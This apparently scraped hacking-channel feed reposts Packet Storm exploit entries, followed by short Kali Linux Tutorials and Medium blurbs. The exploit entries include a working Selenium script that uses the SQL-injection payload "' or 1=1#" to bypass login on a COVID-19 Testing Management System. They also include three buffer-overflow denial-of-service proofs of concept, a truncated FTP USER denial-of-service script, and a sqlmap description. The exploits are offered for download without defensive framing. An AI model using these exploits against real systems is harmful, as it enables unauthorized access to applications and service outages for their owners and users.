Exploit Collector
SAMI FTP Server 2.0.2 Denial Of Service

https://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png
SAMI FTP server version 2.0.2 USER denial of service exploit.

MD5 | 313e692553a3a89a25aac7fd19c47a88

Download
#!/usr/bin/python
#
# e-mail: fernando.mengalli@gmail.com
#
# Date: 06/08/2021 - 08 jun
#
# Version Vulnerable: SAMI FTP Server 2.0.2
#
# OS Tested: Windows XP PACK 3 Brazilian e Windows 2000
#

import socket
import sys

if len(sys.argv) != 2:
print
"#####################################################################"
print "#
#"
print "# SAMI FTP Server 2.0.2 - Command 'USER' Denied of Service
#"
print "#
#"
print "# Author: Fernando Mengali
#"
print "#
#"
print "# Modo de uso: exploit.py
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
COVID-19 Testing Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
COVID-19 Testing Management System version 1.0 remote SQL injection exploit based upon the original discovery by Rohit Burke in May of 2021.

MD5 | 12bc9bc3329a4bc99a1d6ad5f44b6f45

Download
# Exploit Title: COVID19 Testing Management System 1.0 - SQL Injection
(Authentication Bypass)
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 06.08.2021
# Vendor: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# CVE: CVE-2021-33470
# Proof: https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-33470/CVE-2021-33470.gif

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug: @nu11secur1ty
# CVE: CVE-2021-33470

from selenium import webdriver
import time
#enter the link to the website you want to automate login.
website_link="
http://192.168.1.160/Covid19-TMS%20Project%20Using%20PHP%20and%20MySQL/covid-tms/login.php
"

#enter your login username SQL bling injection
username="nu11secur1ty' or 1=1#"
#enter your login password SQL bling injection
password="nu11secur1ty' or 1=1#"

# test and proof the SQL injection
# user: admin
# password: password

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="inputpwd"

#enter the element for submit button by class
element_for_submit="btn.btn-primary.btn-user.btn-block"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
time.sleep(3)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

print("payload is deployed NOW, you have SQL Authentication Bypass =)...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Nsauditor 3.2.3 Denial Of Service

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Nsauditor version 3.2.3 suffers from a denial of service vulnerability.

MD5 | b45def01258069c999265cfc129e527b

Download
# Exploit Title: Nsauditor 3.2.3 - Denial of Service (PoC)
# Date: 07/06/2021
# Author: Erick Galindo
# Vendor Homepage: http://www.nsauditor.com
# Software http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Version: 3.2.3.0
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Open Nsauditor.exe
#3.- Go to Register > Enter Registration Code...
#4.- Write anything in 'Name' field
#5.- Paste clipboard in 'Key' field
#6.- Click on button -> Ok

buffer = "\x41" * 256

f = open ("NBM.txt", "w")
f.write(buffer)
f.close()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SQLMAP - Automatic SQL Injection Tool 1.5.6

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
sqlmap is an open source command-line automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.

MD5 | 5d549a9d48f57591c03e5e02ad82cd9f

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
NBMonitor 1.6.8 Denial Of Service

https://4.bp.blogspot.com/-d35B3EKAht8/WWlvR2pVnxI/AAAAAAAAINQ/QZoYmyhkrmYJUUDMjE8TBpD0ovVTkXuuACLcBGAs/s1600/h35.png
NBMonitor version 1.6.8 suffers from a denial of service vulnerability.

MD5 | 2ca64a66f35b8bd539837bad5041d7e1

Download
# Exploit Title: NBMonitor 1.6.8 - Denial of Service (PoC)
# Date: 07/06/2021
# Author: Erick Galindo
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nbmonitor.com/downloads/nbmonitor_setup.exe
# Version: 1.6.8
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Go to Register > Enter Registration Code...
#3.- Write anything in 'Name' field
#4.- Paste clipboard in 'Key' field
#5.- Click on button -> Ok

buffer = "\x41" * 256

f = open ("NBM.txt", "w")
f.write(buffer)
f.close()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backup Key Recovery 2.2.7 Denial Of Service

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
Backup Key Recovery version 2.2.7 suffers from a denial of service vulnerability.

MD5 | 9abf25afe887cb7990ba1f1dcf4a4071

Download
# Exploit Title: Backup Key Recovery 2.2.7 - Denial of Service (PoC)
# Date: 07/06/2021
# Author: Erick Galindo
# Vendor Homepage: http://www.nsauditor.com
# Software http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
# Version: 2.2.7.0
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Open BackupKeyRecovery.exe
#3.- Go to Register > Enter Registration Code...
#4.- Write anything in 'Name' field
#5.- Paste clipboard in 'Key' field
#6.- Click on button -> Ok

buffer = "\x41" * 256

f = open ("poc.txt", "w")
f.write(buffer)
f.close()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress wpDiscuz 7.0.4 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
What Are The 10 Best Content Idea Generator Tools

Content matters when presenting yourself on social media, a blog, or when developing your business. Your main goal does not matter. The quality of titles, posts, pictures, and everything you publish on the Internet defines the outcome you get. Proficient bloggers are not generating content by themselves. Instead, they apply practical content idea generator tools; […]

The post What Are The 10 Best Content Idea Generator Tools appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Qvm-Create-Windows-Qube : Spin Up New Windows Qubes Quickly, Effortlessly And Securely

qvm-create-windows-qube is a tool for quickly and conveniently installing fresh new Windows qubes with Qubes Windows Tools (QWT) drivers automatically. It officially supports Windows 7, 8.1 and 10 as well as Windows Server 2008 R2, 2012 R2, 2016 and 2019. The project emphasizes correctness, security and treating Windows as an untrusted guest operating system throughout the entire process. It […]

The post Qvm-Create-Windows-Qube : Spin Up New Windows Qubes Quickly, Effortlessly And Securely appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Endpoint Detection and Response: 6 Best Practices You Must Know About

What Is Endpoint Detection and Response? An endpoint detection and response (EDR) solution is a collection of tools and processes used to detect and analyze potential attacks and their traces on endpoint devices. Endpoints include desktops, laptops, mobile devices, and other devices connected to a corporate network.  EDR solutions are designed to provide continuous monitoring […]

The post Endpoint Detection and Response: 6 Best Practices You Must Know About appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
So it appears that the federal government can trace cryptocurrency to its source or to its holder…

They’re going to start doing it to anybody that is hacking and holding ransom demanding cryptocurrency and payment.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video